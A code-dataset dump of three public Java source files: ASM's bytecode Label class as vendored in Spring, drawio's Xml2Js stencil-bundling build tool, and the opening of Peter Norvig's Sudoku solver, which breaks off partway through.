file_id
int64
1
215k
content
stringlengths
7
454k
repo
stringlengths
6
113
path
stringlengths
6
251
315
// ASM: a very small and fast Java bytecode manipulation framework // Copyright (c) 2000-2011 INRIA, France Telecom // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // 1. Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holders nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF // THE POSSIBILITY OF SUCH DAMAGE. package org.springframework.asm; /** * A position in the bytecode of a method. Labels are used for jump, goto, and switch instructions, * and for try catch blocks. A label designates the <i>instruction</i> that is just after. Note * however that there can be other elements between a label and the instruction it designates (such * as other labels, stack map frames, line numbers, etc.). * * @author Eric Bruneton */ public class Label { /** * A flag indicating that a label is only used for debug attributes. Such a label is not the start * of a basic block, the target of a jump instruction, or an exception handler. It can be safely * ignored in control flow graph analysis algorithms (for optimization purposes). */ static final int FLAG_DEBUG_ONLY = 1; /** * A flag indicating that a label is the target of a jump instruction, or the start of an * exception handler. */ static final int FLAG_JUMP_TARGET = 2; /** A flag indicating that the bytecode offset of a label is known. */ static final int FLAG_RESOLVED = 4; /** A flag indicating that a label corresponds to a reachable basic block. */ static final int FLAG_REACHABLE = 8; /** * A flag indicating that the basic block corresponding to a label ends with a subroutine call. By * construction in {@link MethodWriter#visitJumpInsn}, labels with this flag set have at least two * outgoing edges: * * <ul> * <li>the first one corresponds to the instruction that follows the jsr instruction in the * bytecode, i.e. where execution continues when it returns from the jsr call. This is a * virtual control flow edge, since execution never goes directly from the jsr to the next * instruction. Instead, it goes to the subroutine and eventually returns to the instruction * following the jsr. This virtual edge is used to compute the real outgoing edges of the * basic blocks ending with a ret instruction, in {@link #addSubroutineRetSuccessors}. * <li>the second one corresponds to the target of the jsr instruction, * </ul> */ static final int FLAG_SUBROUTINE_CALLER = 16; /** * A flag indicating that the basic block corresponding to a label is the start of a subroutine. */ static final int FLAG_SUBROUTINE_START = 32; /** A flag indicating that the basic block corresponding to a label is the end of a subroutine. */ static final int FLAG_SUBROUTINE_END = 64; /** A flag indicating that this label has at least one associated line number. */ static final int FLAG_LINE_NUMBER = 128; /** * The number of elements to add to the {@link #otherLineNumbers} array when it needs to be * resized to store a new source line number. */ static final int LINE_NUMBERS_CAPACITY_INCREMENT = 4; /** * The number of elements to add to the {@link #forwardReferences} array when it needs to be * resized to store a new forward reference. */ static final int FORWARD_REFERENCES_CAPACITY_INCREMENT = 6; /** * The bit mask to extract the type of a forward reference to this label. The extracted type is * either {@link #FORWARD_REFERENCE_TYPE_SHORT} or {@link #FORWARD_REFERENCE_TYPE_WIDE}. * * @see #forwardReferences */ static final int FORWARD_REFERENCE_TYPE_MASK = 0xF0000000; /** * The type of forward references stored with two bytes in the bytecode. This is the case, for * instance, of a forward reference from an ifnull instruction. */ static final int FORWARD_REFERENCE_TYPE_SHORT = 0x10000000; /** * The type of forward references stored in four bytes in the bytecode. This is the case, for * instance, of a forward reference from a lookupswitch instruction. */ static final int FORWARD_REFERENCE_TYPE_WIDE = 0x20000000; /** * The type of forward references stored in two bytes in the <i>stack map table</i>. This is the * case of the labels of {@link Frame#ITEM_UNINITIALIZED} stack map frame elements, when the NEW * instruction is after the &lt;init&gt; constructor call (in bytecode offset order). */ static final int FORWARD_REFERENCE_TYPE_STACK_MAP = 0x30000000; /** * The bit mask to extract the 'handle' of a forward reference to this label. The extracted handle * is the bytecode offset where the forward reference value is stored (using either 2 or 4 bytes, * as indicated by the {@link #FORWARD_REFERENCE_TYPE_MASK}). * * @see #forwardReferences */ static final int FORWARD_REFERENCE_HANDLE_MASK = 0x0FFFFFFF; /** * A sentinel element used to indicate the end of a list of labels. * * @see #nextListElement */ static final Label EMPTY_LIST = new Label(); /** * A user managed state associated with this label. Warning: this field is used by the ASM tree * package. In order to use it with the ASM tree package you must override the getLabelNode method * in MethodNode. */ public Object info; /** * The type and status of this label or its corresponding basic block. Must be zero or more of * {@link #FLAG_DEBUG_ONLY}, {@link #FLAG_JUMP_TARGET}, {@link #FLAG_RESOLVED}, {@link * #FLAG_REACHABLE}, {@link #FLAG_SUBROUTINE_CALLER}, {@link #FLAG_SUBROUTINE_START}, {@link * #FLAG_SUBROUTINE_END}. */ short flags; /** * The source line number corresponding to this label, if {@link #FLAG_LINE_NUMBER} is set. If * there are several source line numbers corresponding to this label, the first one is stored in * this field, and the remaining ones are stored in {@link #otherLineNumbers}. */ private short lineNumber; /** * The source line numbers corresponding to this label, in addition to {@link #lineNumber}, or * null. The first element of this array is the number n of source line numbers it contains, which * are stored between indices 1 and n (inclusive). */ private int[] otherLineNumbers; /** * The offset of this label in the bytecode of its method, in bytes. This value is set if and only * if the {@link #FLAG_RESOLVED} flag is set. */ int bytecodeOffset; /** * The forward references to this label. The first element is the number of forward references, * times 2 (this corresponds to the index of the last element actually used in this array). Then, * each forward reference is described with two consecutive integers noted * 'sourceInsnBytecodeOffset' and 'reference': * * <ul> * <li>'sourceInsnBytecodeOffset' is the bytecode offset of the instruction that contains the * forward reference, * <li>'reference' contains the type and the offset in the bytecode where the forward reference * value must be stored, which can be extracted with {@link #FORWARD_REFERENCE_TYPE_MASK} * and {@link #FORWARD_REFERENCE_HANDLE_MASK}. * </ul> * * <p>For instance, for an ifnull instruction at bytecode offset x, 'sourceInsnBytecodeOffset' is * equal to x, and 'reference' is of type {@link #FORWARD_REFERENCE_TYPE_SHORT} with value x + 1 * (because the ifnull instruction uses a 2 bytes bytecode offset operand stored one byte after * the start of the instruction itself). For the default case of a lookupswitch instruction at * bytecode offset x, 'sourceInsnBytecodeOffset' is equal to x, and 'reference' is of type {@link * #FORWARD_REFERENCE_TYPE_WIDE} with value between x + 1 and x + 4 (because the lookupswitch * instruction uses a 4 bytes bytecode offset operand stored one to four bytes after the start of * the instruction itself). */ private int[] forwardReferences; // ----------------------------------------------------------------------------------------------- // Fields for the control flow and data flow graph analysis algorithms (used to compute the // maximum stack size or the stack map frames). A control flow graph contains one node per "basic // block", and one edge per "jump" from one basic block to another. Each node (i.e., each basic // block) is represented with the Label object that corresponds to the first instruction of this // basic block. Each node also stores the list of its successors in the graph, as a linked list of // Edge objects. // // The control flow analysis algorithms used to compute the maximum stack size or the stack map // frames are similar and use two steps. The first step, during the visit of each instruction, // builds information about the state of the local variables and the operand stack at the end of // each basic block, called the "output frame", <i>relatively</i> to the frame state at the // beginning of the basic block, which is called the "input frame", and which is <i>unknown</i> // during this step. The second step, in {@link MethodWriter#computeAllFrames} and {@link // MethodWriter#computeMaxStackAndLocal}, is a fix point algorithm // that computes information about the input frame of each basic block, from the input state of // the first basic block (known from the method signature), and by the using the previously // computed relative output frames. // // The algorithm used to compute the maximum stack size only computes the relative output and // absolute input stack heights, while the algorithm used to compute stack map frames computes // relative output frames and absolute input frames. /** * The number of elements in the input stack of the basic block corresponding to this label. This * field is computed in {@link MethodWriter#computeMaxStackAndLocal}. */ short inputStackSize; /** * The number of elements in the output stack, at the end of the basic block corresponding to this * label. This field is only computed for basic blocks that end with a RET instruction. */ short outputStackSize; /** * The maximum height reached by the output stack, relatively to the top of the input stack, in * the basic block corresponding to this label. This maximum is always positive or {@literal * null}. */ short outputStackMax; /** * The id of the subroutine to which this basic block belongs, or 0. If the basic block belongs to * several subroutines, this is the id of the "oldest" subroutine that contains it (with the * convention that a subroutine calling another one is "older" than the callee). This field is * computed in {@link MethodWriter#computeMaxStackAndLocal}, if the method contains JSR * instructions. */ short subroutineId; /** * The input and output stack map frames of the basic block corresponding to this label. This * field is only used when the {@link MethodWriter#COMPUTE_ALL_FRAMES} or {@link * MethodWriter#COMPUTE_INSERTED_FRAMES} option is used. */ Frame frame; /** * The successor of this label, in the order they are visited in {@link MethodVisitor#visitLabel}. * This linked list does not include labels used for debug info only. If the {@link * MethodWriter#COMPUTE_ALL_FRAMES} or {@link MethodWriter#COMPUTE_INSERTED_FRAMES} option is used * then it does not contain either successive labels that denote the same bytecode offset (in this * case only the first label appears in this list). */ Label nextBasicBlock; /** * The outgoing edges of the basic block corresponding to this label, in the control flow graph of * its method. These edges are stored in a linked list of {@link Edge} objects, linked to each * other by their {@link Edge#nextEdge} field. */ Edge outgoingEdges; /** * The next element in the list of labels to which this label belongs, or {@literal null} if it * does not belong to any list. All lists of labels must end with the {@link #EMPTY_LIST} * sentinel, in order to ensure that this field is null if and only if this label does not belong * to a list of labels. Note that there can be several lists of labels at the same time, but that * a label can belong to at most one list at a time (unless some lists share a common tail, but * this is not used in practice). * * <p>List of labels are used in {@link MethodWriter#computeAllFrames} and {@link * MethodWriter#computeMaxStackAndLocal} to compute stack map frames and the maximum stack size, * respectively, as well as in {@link #markSubroutine} and {@link #addSubroutineRetSuccessors} to * compute the basic blocks belonging to subroutines and their outgoing edges. Outside of these * methods, this field should be null (this property is a precondition and a postcondition of * these methods). */ Label nextListElement; // ----------------------------------------------------------------------------------------------- // Constructor and accessors // ----------------------------------------------------------------------------------------------- /** Constructs a new label. */ public Label() { // Nothing to do. } /** * Returns the bytecode offset corresponding to this label. This offset is computed from the start * of the method's bytecode. <i>This method is intended for {@link Attribute} sub classes, and is * normally not needed by class generators or adapters.</i> * * @return the bytecode offset corresponding to this label. * @throws IllegalStateException if this label is not resolved yet. */ public int getOffset() { if ((flags & FLAG_RESOLVED) == 0) { throw new IllegalStateException("Label offset position has not been resolved yet"); } return bytecodeOffset; } /** * Returns the "canonical" {@link Label} instance corresponding to this label's bytecode offset, * if known, otherwise the label itself. The canonical instance is the first label (in the order * of their visit by {@link MethodVisitor#visitLabel}) corresponding to this bytecode offset. It * cannot be known for labels which have not been visited yet. * * <p><i>This method should only be used when the {@link MethodWriter#COMPUTE_ALL_FRAMES} option * is used.</i> * * @return the label itself if {@link #frame} is null, otherwise the Label's frame owner. This * corresponds to the "canonical" label instance described above thanks to the way the label * frame is set in {@link MethodWriter#visitLabel}. */ final Label getCanonicalInstance() { return frame == null ? this : frame.owner; } // ----------------------------------------------------------------------------------------------- // Methods to manage line numbers // ----------------------------------------------------------------------------------------------- /** * Adds a source line number corresponding to this label. * * @param lineNumber a source line number (which should be strictly positive). */ final void addLineNumber(final int lineNumber) { if ((flags & FLAG_LINE_NUMBER) == 0) { flags |= FLAG_LINE_NUMBER; this.lineNumber = (short) lineNumber; } else { if (otherLineNumbers == null) { otherLineNumbers = new int[LINE_NUMBERS_CAPACITY_INCREMENT]; } int otherLineNumberIndex = ++otherLineNumbers[0]; if (otherLineNumberIndex >= otherLineNumbers.length) { int[] newLineNumbers = new int[otherLineNumbers.length + LINE_NUMBERS_CAPACITY_INCREMENT]; System.arraycopy(otherLineNumbers, 0, newLineNumbers, 0, otherLineNumbers.length); otherLineNumbers = newLineNumbers; } otherLineNumbers[otherLineNumberIndex] = lineNumber; } } /** * Makes the given visitor visit this label and its source line numbers, if applicable. * * @param methodVisitor a method visitor. * @param visitLineNumbers whether to visit of the label's source line numbers, if any. */ final void accept(final MethodVisitor methodVisitor, final boolean visitLineNumbers) { methodVisitor.visitLabel(this); if (visitLineNumbers && (flags & FLAG_LINE_NUMBER) != 0) { methodVisitor.visitLineNumber(lineNumber & 0xFFFF, this); if (otherLineNumbers != null) { for (int i = 1; i <= otherLineNumbers[0]; ++i) { methodVisitor.visitLineNumber(otherLineNumbers[i], this); } } } } // ----------------------------------------------------------------------------------------------- // Methods to compute offsets and to manage forward references // ----------------------------------------------------------------------------------------------- /** * Puts a reference to this label in the bytecode of a method. If the bytecode offset of the label * is known, the relative bytecode offset between the label and the instruction referencing it is * computed and written directly. Otherwise, a null relative offset is written and a new forward * reference is declared for this label. * * @param code the bytecode of the method. This is where the reference is appended. * @param sourceInsnBytecodeOffset the bytecode offset of the instruction that contains the * reference to be appended. * @param wideReference whether the reference must be stored in 4 bytes (instead of 2 bytes). */ final void put( final ByteVector code, final int sourceInsnBytecodeOffset, final boolean wideReference) { if ((flags & FLAG_RESOLVED) == 0) { if (wideReference) { addForwardReference(sourceInsnBytecodeOffset, FORWARD_REFERENCE_TYPE_WIDE, code.length); code.putInt(-1); } else { addForwardReference(sourceInsnBytecodeOffset, FORWARD_REFERENCE_TYPE_SHORT, code.length); code.putShort(-1); } } else { if (wideReference) { code.putInt(bytecodeOffset - sourceInsnBytecodeOffset); } else { code.putShort(bytecodeOffset - sourceInsnBytecodeOffset); } } } /** * Puts a reference to this label in the <i>stack map table</i> of a method. If the bytecode * offset of the label is known, it is written directly. Otherwise, a null relative offset is * written and a new forward reference is declared for this label. * * @param stackMapTableEntries the stack map table where the label offset must be added. */ final void put(final ByteVector stackMapTableEntries) { if ((flags & FLAG_RESOLVED) == 0) { addForwardReference(0, FORWARD_REFERENCE_TYPE_STACK_MAP, stackMapTableEntries.length); } stackMapTableEntries.putShort(bytecodeOffset); } /** * Adds a forward reference to this label. This method must be called only for a true forward * reference, i.e. only if this label is not resolved yet. For backward references, the relative * bytecode offset of the reference can be, and must be, computed and stored directly. * * @param sourceInsnBytecodeOffset the bytecode offset of the instruction that contains the * reference stored at referenceHandle. * @param referenceType either {@link #FORWARD_REFERENCE_TYPE_SHORT} or {@link * #FORWARD_REFERENCE_TYPE_WIDE}. * @param referenceHandle the offset in the bytecode where the forward reference value must be * stored. */ private void addForwardReference( final int sourceInsnBytecodeOffset, final int referenceType, final int referenceHandle) { if (forwardReferences == null) { forwardReferences = new int[FORWARD_REFERENCES_CAPACITY_INCREMENT]; } int lastElementIndex = forwardReferences[0]; if (lastElementIndex + 2 >= forwardReferences.length) { int[] newValues = new int[forwardReferences.length + FORWARD_REFERENCES_CAPACITY_INCREMENT]; System.arraycopy(forwardReferences, 0, newValues, 0, forwardReferences.length); forwardReferences = newValues; } forwardReferences[++lastElementIndex] = sourceInsnBytecodeOffset; forwardReferences[++lastElementIndex] = referenceType | referenceHandle; forwardReferences[0] = lastElementIndex; } /** * Sets the bytecode offset of this label to the given value and resolves the forward references * to this label, if any. This method must be called when this label is added to the bytecode of * the method, i.e. when its bytecode offset becomes known. This method fills in the blanks that * where left in the bytecode (and optionally in the stack map table) by each forward reference * previously added to this label. * * @param code the bytecode of the method. * @param stackMapTableEntries the 'entries' array of the StackMapTable code attribute of the * method. Maybe {@literal null}. * @param bytecodeOffset the bytecode offset of this label. * @return {@literal true} if a blank that was left for this label was too small to store the * offset. In such a case the corresponding jump instruction is replaced with an equivalent * ASM specific instruction using an unsigned two bytes offset. These ASM specific * instructions are later replaced with standard bytecode instructions with wider offsets (4 * bytes instead of 2), in ClassReader. */ final boolean resolve( final byte[] code, final ByteVector stackMapTableEntries, final int bytecodeOffset) { this.flags |= FLAG_RESOLVED; this.bytecodeOffset = bytecodeOffset; if (forwardReferences == null) { return false; } boolean hasAsmInstructions = false; for (int i = forwardReferences[0]; i > 0; i -= 2) { final int sourceInsnBytecodeOffset = forwardReferences[i - 1]; final int reference = forwardReferences[i]; final int relativeOffset = bytecodeOffset - sourceInsnBytecodeOffset; int handle = reference & FORWARD_REFERENCE_HANDLE_MASK; if ((reference & FORWARD_REFERENCE_TYPE_MASK) == FORWARD_REFERENCE_TYPE_SHORT) { if (relativeOffset < Short.MIN_VALUE || relativeOffset > Short.MAX_VALUE) { // Change the opcode of the jump instruction, in order to be able to find it later in // ClassReader. These ASM specific opcodes are similar to jump instruction opcodes, except // that the 2 bytes offset is unsigned (and can therefore represent values from 0 to // 65535, which is sufficient since the size of a method is limited to 65535 bytes). int opcode = code[sourceInsnBytecodeOffset] & 0xFF; if (opcode < Opcodes.IFNULL) { // Change IFEQ ... JSR to ASM_IFEQ ... ASM_JSR. code[sourceInsnBytecodeOffset] = (byte) (opcode + Constants.ASM_OPCODE_DELTA); } else { // Change IFNULL and IFNONNULL to ASM_IFNULL and ASM_IFNONNULL. code[sourceInsnBytecodeOffset] = (byte) (opcode + Constants.ASM_IFNULL_OPCODE_DELTA); } hasAsmInstructions = true; } code[handle++] = (byte) (relativeOffset >>> 8); code[handle] = (byte) relativeOffset; } else if ((reference & FORWARD_REFERENCE_TYPE_MASK) == FORWARD_REFERENCE_TYPE_WIDE) { code[handle++] = (byte) (relativeOffset >>> 24); code[handle++] = (byte) (relativeOffset >>> 16); code[handle++] = (byte) (relativeOffset >>> 8); code[handle] = (byte) relativeOffset; } else { stackMapTableEntries.data[handle++] = (byte) (bytecodeOffset >>> 8); stackMapTableEntries.data[handle] = (byte) bytecodeOffset; } } return hasAsmInstructions; } // ----------------------------------------------------------------------------------------------- // Methods related to subroutines // ----------------------------------------------------------------------------------------------- /** * Finds the basic blocks that belong to the subroutine starting with the basic block * corresponding to this label, and marks these blocks as belonging to this subroutine. This * method follows the control flow graph to find all the blocks that are reachable from the * current basic block WITHOUT following any jsr target. * * <p>Note: a precondition and postcondition of this method is that all labels must have a null * {@link #nextListElement}. * * @param subroutineId the id of the subroutine starting with the basic block corresponding to * this label. */ final void markSubroutine(final short subroutineId) { // Data flow algorithm: put this basic block in a list of blocks to process (which are blocks // belonging to subroutine subroutineId) and, while there are blocks to process, remove one from // the list, mark it as belonging to the subroutine, and add its successor basic blocks in the // control flow graph to the list of blocks to process (if not already done). Label listOfBlocksToProcess = this; listOfBlocksToProcess.nextListElement = EMPTY_LIST; while (listOfBlocksToProcess != EMPTY_LIST) { // Remove a basic block from the list of blocks to process. Label basicBlock = listOfBlocksToProcess; listOfBlocksToProcess = listOfBlocksToProcess.nextListElement; basicBlock.nextListElement = null; // If it is not already marked as belonging to a subroutine, mark it as belonging to // subroutineId and add its successors to the list of blocks to process (unless already done). if (basicBlock.subroutineId == 0) { basicBlock.subroutineId = subroutineId; listOfBlocksToProcess = basicBlock.pushSuccessors(listOfBlocksToProcess); } } } /** * Finds the basic blocks that end a subroutine starting with the basic block corresponding to * this label and, for each one of them, adds an outgoing edge to the basic block following the * given subroutine call. In other words, completes the control flow graph by adding the edges * corresponding to the return from this subroutine, when called from the given caller basic * block. * * <p>Note: a precondition and postcondition of this method is that all labels must have a null * {@link #nextListElement}. * * @param subroutineCaller a basic block that ends with a jsr to the basic block corresponding to * this label. This label is supposed to correspond to the start of a subroutine. */ final void addSubroutineRetSuccessors(final Label subroutineCaller) { // Data flow algorithm: put this basic block in a list blocks to process (which are blocks // belonging to a subroutine starting with this label) and, while there are blocks to process, // remove one from the list, put it in a list of blocks that have been processed, add a return // edge to the successor of subroutineCaller if applicable, and add its successor basic blocks // in the control flow graph to the list of blocks to process (if not already done). Label listOfProcessedBlocks = EMPTY_LIST; Label listOfBlocksToProcess = this; listOfBlocksToProcess.nextListElement = EMPTY_LIST; while (listOfBlocksToProcess != EMPTY_LIST) { // Move a basic block from the list of blocks to process to the list of processed blocks. Label basicBlock = listOfBlocksToProcess; listOfBlocksToProcess = basicBlock.nextListElement; basicBlock.nextListElement = listOfProcessedBlocks; listOfProcessedBlocks = basicBlock; // Add an edge from this block to the successor of the caller basic block, if this block is // the end of a subroutine and if this block and subroutineCaller do not belong to the same // subroutine. if ((basicBlock.flags & FLAG_SUBROUTINE_END) != 0 && basicBlock.subroutineId != subroutineCaller.subroutineId) { basicBlock.outgoingEdges = new Edge( basicBlock.outputStackSize, // By construction, the first outgoing edge of a basic block that ends with a jsr // instruction leads to the jsr continuation block, i.e. where execution continues // when ret is called (see {@link #FLAG_SUBROUTINE_CALLER}). subroutineCaller.outgoingEdges.successor, basicBlock.outgoingEdges); } // Add its successors to the list of blocks to process. Note that {@link #pushSuccessors} does // not push basic blocks which are already in a list. Here this means either in the list of // blocks to process, or in the list of already processed blocks. This second list is // important to make sure we don't reprocess an already processed block. listOfBlocksToProcess = basicBlock.pushSuccessors(listOfBlocksToProcess); } // Reset the {@link #nextListElement} of all the basic blocks that have been processed to null, // so that this method can be called again with a different subroutine or subroutine caller. while (listOfProcessedBlocks != EMPTY_LIST) { Label newListOfProcessedBlocks = listOfProcessedBlocks.nextListElement; listOfProcessedBlocks.nextListElement = null; listOfProcessedBlocks = newListOfProcessedBlocks; } } /** * Adds the successors of this label in the method's control flow graph (except those * corresponding to a jsr target, and those already in a list of labels) to the given list of * blocks to process, and returns the new list. * * @param listOfLabelsToProcess a list of basic blocks to process, linked together with their * {@link #nextListElement} field. * @return the new list of blocks to process. */ private Label pushSuccessors(final Label listOfLabelsToProcess) { Label newListOfLabelsToProcess = listOfLabelsToProcess; Edge outgoingEdge = outgoingEdges; while (outgoingEdge != null) { // By construction, the second outgoing edge of a basic block that ends with a jsr instruction // leads to the jsr target (see {@link #FLAG_SUBROUTINE_CALLER}). boolean isJsrTarget = (flags & Label.FLAG_SUBROUTINE_CALLER) != 0 && outgoingEdge == outgoingEdges.nextEdge; if (!isJsrTarget && outgoingEdge.successor.nextListElement == null) { // Add this successor to the list of blocks to process, if it does not already belong to a // list of labels. outgoingEdge.successor.nextListElement = newListOfLabelsToProcess; newListOfLabelsToProcess = outgoingEdge.successor; } outgoingEdge = outgoingEdge.nextEdge; } return newListOfLabelsToProcess; } // ----------------------------------------------------------------------------------------------- // Overridden Object methods // ----------------------------------------------------------------------------------------------- /** * Returns a string representation of this label. * * @return a string representation of this label. */ @Override public String toString() { return "L" + System.identityHashCode(this); } }
spring-projects/spring-framework
spring-core/src/main/java/org/springframework/asm/Label.java
317
import java.io.BufferedReader; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileWriter; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import java.util.Arrays; import java.util.HashSet; import java.util.Iterator; import java.util.LinkedList; import java.util.List; import java.util.Set; import java.util.zip.Deflater; import java.util.Base64; public class Xml2Js { /** * */ protected static final int IO_BUFFER_SIZE = 4 * 1024; /** * */ public static String CHARSET_FOR_URL_ENCODING = "UTF-8"; /** * * @param path * @return */ public List<String> walk(File base, File root) throws IOException { if (root == null) { root = base; } List<String> result = new LinkedList<String>(); String basePath = base.getCanonicalPath(); File[] list = root.listFiles(); if (list != null) { for (File f : list) { if (f.isDirectory()) { result.addAll(walk(base, f)); } else if (f.getCanonicalPath().toLowerCase().endsWith(".xml")) { String name = f.getCanonicalPath() .substring(basePath.length() + 1); result.add( "f['" + name + "'] = '" + processFile(f) + "';\n"); } } } return result; } /** * * @param file * @return * @throws IOException */ public static String processFile(File file) throws IOException { Deflater deflater = new Deflater(Deflater.BEST_COMPRESSION, true); byte[] inBytes = readInputStream(new FileInputStream(file)).getBytes("UTF-8"); deflater.setInput(inBytes); ByteArrayOutputStream outputStream = new ByteArrayOutputStream( inBytes.length); deflater.finish(); byte[] buffer = new byte[IO_BUFFER_SIZE]; while (!deflater.finished()) { int count = deflater.deflate(buffer); // returns the generated code... index outputStream.write(buffer, 0, count); } outputStream.close(); return Base64.getEncoder().encodeToString(outputStream.toByteArray()); } /** * * @param stream * @return * @throws IOException */ public static String readInputStream(InputStream stream) throws IOException { BufferedReader reader = new BufferedReader( new InputStreamReader(stream)); StringBuffer result = new StringBuffer(); String tmp = reader.readLine(); while (tmp != null) { result.append(tmp.trim()); tmp = reader.readLine(); } reader.close(); return result.toString(); } public static String encodeURIComponent(String s, String charset) { if (s == null) { return null; } else { String result; try { result = URLEncoder.encode(s, charset).replaceAll("\\+", "%20") .replaceAll("\\%21", "!").replaceAll("\\%27", "'") .replaceAll("\\%28", "(").replaceAll("\\%29", ")") .replaceAll("\\%7E", "~"); } catch (UnsupportedEncodingException e) { // This exception should never occur result = s; } return result; } } private static final char[] CA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" .toCharArray(); private static final int[] IA = new int[256]; static { Arrays.fill(IA, -1); for (int i = 0, iS = CA.length; i < iS; i++) IA[CA[i]] = i; IA['='] = 0; } /** * Main */ public static void main(String[] args) { if (args.length < 2) { System.out.println("Usage: xml2js path file"); } else { try { Xml2Js fw = new Xml2Js(); // Generates result StringBuffer result = new StringBuffer(); result.append("(function() {\nvar f = {};\n"); List<String> files = fw .walk(new File(new File(".").getCanonicalPath() + File.separator + args[0]), null); Iterator<String> it = files.iterator(); while (it.hasNext()) { result.append(it.next()); } result.append("\n"); result.append("var l = mxStencilRegistry.loadStencil;\n\n"); result.append( "mxStencilRegistry.loadStencil = function(filename, fn)\n{\n"); result.append(" var t = f[filename.substring(STENCIL_PATH.length + 1)];\n"); result.append(" var s = null;\n"); result.append(" if (t != null) {\n"); result.append(" s = pako.inflateRaw(Uint8Array.from(atob(t), function (c) {\n"); result.append(" return c.charCodeAt(0);\n"); result.append(" }), {to: 'string'});\n"); result.append(" }\n"); result.append(" if (fn != null && s != null) {\n"); result.append( " window.setTimeout(function(){fn(mxUtils.parseXml(s))}, 0);\n"); result.append(" } else {\n"); result.append( " return (s != null) ? mxUtils.parseXml(s) : l.apply(this, arguments)\n"); result.append(" }\n"); result.append("};\n"); result.append("})();\n"); FileWriter writer = new FileWriter( new File(new File(".").getCanonicalPath() + File.separator + args[1])); writer.write(result.toString()); writer.flush(); writer.close(); } catch (IOException ex) { ex.printStackTrace(); } } } }
jgraph/drawio
etc/build/Xml2Js.java
318
import java.io.*; import java.lang.Integer.*; import java.util.*; import java.util.stream.*; import java.lang.StringBuilder; import java.util.concurrent.CountDownLatch; //////////////////////////////// Solve Sudoku Puzzles //////////////////////////////// //////////////////////////////// See http://norvig.com/CQ //////////////////////////////// //////////////////////////////// @author Peter Norvig //////////////////////////////// /** There are two representations of puzzles that we will use: ** 1. A gridstring is 81 chars, with characters '0' or '.' for blank and '1' to '9' for digits. ** 2. A puzzle grid is an int[81] with a digit d (1-9) represented by the integer (1 << (d - 1)); ** that is, a bit pattern that has a single 1 bit representing the digit. ** A blank is represented by the OR of all the digits 1-9, meaning that any digit is possible. ** While solving the puzzle, some of these digits are eliminated, leaving fewer possibilities. ** The puzzle is solved when every square has only a single possibility. ** ** Search for a solution with `search`: ** - Fill an empty square with a guessed digit and do constraint propagation. ** - If the guess is consistent, search deeper; if not, try a different guess for the square. ** - If all guesses fail, back up to the previous level. ** - In selecting an empty square, we pick one that has the minimum number of possible digits. ** - To be able to back up, we need to keep the grid from the previous recursive level. ** But we only need to keep one grid for each level, so to save garbage collection, ** we pre-allocate one grid per level (there are 81 levels) in a `gridpool`. ** Do constraint propagation with `arcConsistent`, `dualConsistent`, and `nakedPairs`. **/ public class Sudoku { //////////////////////////////// main; command line options ////////////////////////////// static final String usage = String.join("\n", "usage: java Sudoku -help | -(no)[fptgadnsrv] | -[RT]<number> | <filename> ...", "E.g., -v turns verify flag on, -nov turns it off. -R and -T require a number. The args are:\n", " -h(elp) Print this usage message", " -f(ile) Print summary stats for each file (default on)", " -p(uzzle) Print summary stats for each puzzle (default off)", " -t(hread) Print summary stats for each thread (default off)", " -g(rid) Print each puzzle grid and solution grid (default off)", " -a(rc) Run arc consistency (default on)", " -d(ual) Run dual consistency (default on)", " -n(aked) Run naked pairs (default on)", " -s(earch) Run search (default on, but some puzzles can be solved with CSP methods alone)", " -r(everse) Solve the reverse of each puzzle as well as each puzzle itself (default off)", " -v(erify) Verify each solution is valid (default off)", " -T<number> Concurrently run <number> threads (default 26)", " -R<number> Repeat each puzzle <number> times (default 1)", " <filename> Solve all puzzles in filename, which has one puzzle per line"); boolean printFileStats = true; // -f boolean printPuzzleStats = false; // -p boolean printThreadStats = false; // -t boolean printGrid = false; // -g boolean runArcCons = true; // -a boolean runDualCons = true; // -d boolean runNakedPairs = true; // -n boolean runSearch = true; // -s boolean reversePuzzle = false; // -r boolean verifySolution = false; // -v int nThreads = 26; // -T int repeat = 1; // -R /** Parse command line args and solve puzzles in files. **/ public static void main(String[] args) throws IOException { Sudoku s = new Sudoku(); for (String arg: args) { if (!arg.startsWith("-")) { s.solveFile(arg); } else { boolean value = !arg.startsWith("-no"); switch(arg.charAt(value ? 1 : 3)) { case 'h': if (value) { System.out.println(usage); } break; case 'f': s.printFileStats = value; break; case 'p': s.printPuzzleStats = value; break; case 't': s.printThreadStats = value; break; case 'a': s.runArcCons = value; break; case 'g': s.printGrid = value; break; case 'd': s.runDualCons = value; break; case 's': s.runSearch = value; break; case 'n': s.runNakedPairs = value; break; case 'r': s.reversePuzzle = value; break; case 'v': s.verifySolution = value; break; case 'T': s.nThreads = Integer.parseInt(arg.substring(2)); break; case 'R': s.repeat = Integer.parseInt(arg.substring(2)); break; default: System.out.println("Unrecognized option: " + arg + "\n" + usage); } } } } //////////////////////////////// Handling Lists of Puzzles //////////////////////////////// /** Solve all the puzzles in a file. Report timing statistics. **/ void solveFile(String filename) throws IOException { List<int[]> grids = readFile(filename); long startTime = System.nanoTime(); switch(nThreads) { case 1: 